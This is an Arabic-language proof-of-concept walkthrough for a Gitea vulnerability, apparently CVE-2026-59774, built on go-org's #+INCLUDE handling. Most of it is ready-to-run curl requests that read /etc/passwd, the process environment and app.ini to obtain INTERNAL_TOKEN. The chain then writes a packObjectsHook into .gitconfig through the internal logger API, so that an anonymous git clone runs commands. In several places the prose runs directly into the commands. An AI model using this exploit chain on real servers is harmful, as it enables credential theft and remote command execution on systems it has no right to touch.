
CVE-2026-59774
git clone https://github.com/FlowerWitch/CVE-2026-59774_docker
cd ./CVE-2026-59774_docker
docker compose up -d
قم بالوصول إلى gitea
new repository يكون عامًا افتراضيًا، ولا حاجة إلى أي إعدادات أخرى
curl -X POST "http://localhost:3000/{username}/{repo}/markup" \
-H "Content-Type: application/json" \
-d '{
"Mode": "file",
"FilePath": "poc.org",
"Text": "#+INCLUDE: \"/etc/passwd\" src 123\n",
"Context": "/admin/poc/src/main/"
}'
GITEA_CUSTOM في /proc/self/environ، يتم الحصول على موقع تخزين بيانات giteacurl -sX POST "http://localhost:3000/admin/poc/markup" -H "Content-Type: application/json" \
-d '{
"Mode": "file",
"FilePath": "poc.org",
"Text": "#+INCLUDE: \"/proc/self/environ\" src 123\n",
"Context": "/admin/poc/src/main/"
}'|grep 'GITEA_CUSTOM='
{GITEA_CUSTOM}/conf/app.ini للحصول على الحقلين INTERNAL_TOKEN وAPP_DATA_PATHcurl -sX POST "http://localhost:3000/{username}/{repo_name}/markup" -H "Content-Type: application/json" \
-d '{
"Mode": "file",
"FilePath": "poc.org",
"Text": "#+INCLUDE: \"{GITEA_CUSTOM}/conf/app.ini\" src 123\n",
"Context": "/admin/poc/src/main/"
}'|grep -E 'INTERNAL_TOKEN|APP_DATA_PATH'
Mode لهذه الواجهة مساويًا لـ File فإنها تقوم بالإضافة الكتابي إلى ملف محلي (وإذا لم يكن الهدف موجودًا فسيتم إنشاء الدليل المقابل)، وفي الوقت نفسه عندما يكون حقل logger الخاص بها مساويًا لـ router فإن تنفيذها سيؤدي إلى إطلاق سجل واحد، وتكون نتيجة الإخراج أفضل بكثير مقارنةً بـ default (لأنه لن يقوم بفصل الأسطر XD). ومن خلال الكتابة الاعتباطية في الأول، تتم إضافة حقل packObjectsHook إلى ملف .gitconfig الخاص بـ gitea لتحقيق تنفيذ الأوامر عبر استنساخ مجهول الهوية.curl -vX POST http://localhost:3000/api/internal/manager/add-logger \
-H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"Logger": "router",
"Writer": "pwnhook",
"Mode": "file",
"Config":{
"filename": "{APP_DATA_PATH}/home/.gitconfig",
"flags": "none",
"prefix": "[uploadpack]\n packObjectsHook = id > /tmp/pwned ;#",
"level": "Info",
"rotate": false
}
}'
logger و writer المذكورين أعلاهcurl -vX POST /api/internal/manager/remove-logger/{Logger}/{Writer} \
-H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
git clone يؤدي إلى تنفيذ الأوامرفي go-org 1.9.1، تحتوي الدالة parseInclude على قاعدة تصفية بتعبير نمطي includeFileRegexp لا يمكن الانتقال إلى الدوال اللاحقة إلا عند مطابقتها.
func (d *Document) parseInclude(k Keyword) (int, Node) {
resolve := func() Node {
d.Log.Printf("Bad include %#v", k)
return k
}
if m := includeFileRegexp.FindStringSubmatch(k.Value); m != nil { # <--这里施加了 includeFileRegexp 过滤
path, kind, lang := m[1], m[2], m[3]
if !filepath.IsAbs(path) {
path = filepath.Join(filepath.Dir(d.Path), path)
}
includeFileRegexp شروط المطابقة كما يلي
var includeFileRegexp = regexp.MustCompile(`(?i)^"([^"]+)" (src|example|export) (\w+)$`)
وبالتالي فإن payload مثل "#+INCLUDE: \"/etc/passwd\"\n" لا يمكن مطابقته بشكل طبيعي، ويجب أن يتوافق البناء مع التعبير، مثل:
"#+INCLUDE: \"/etc/passwd\" src 123\n"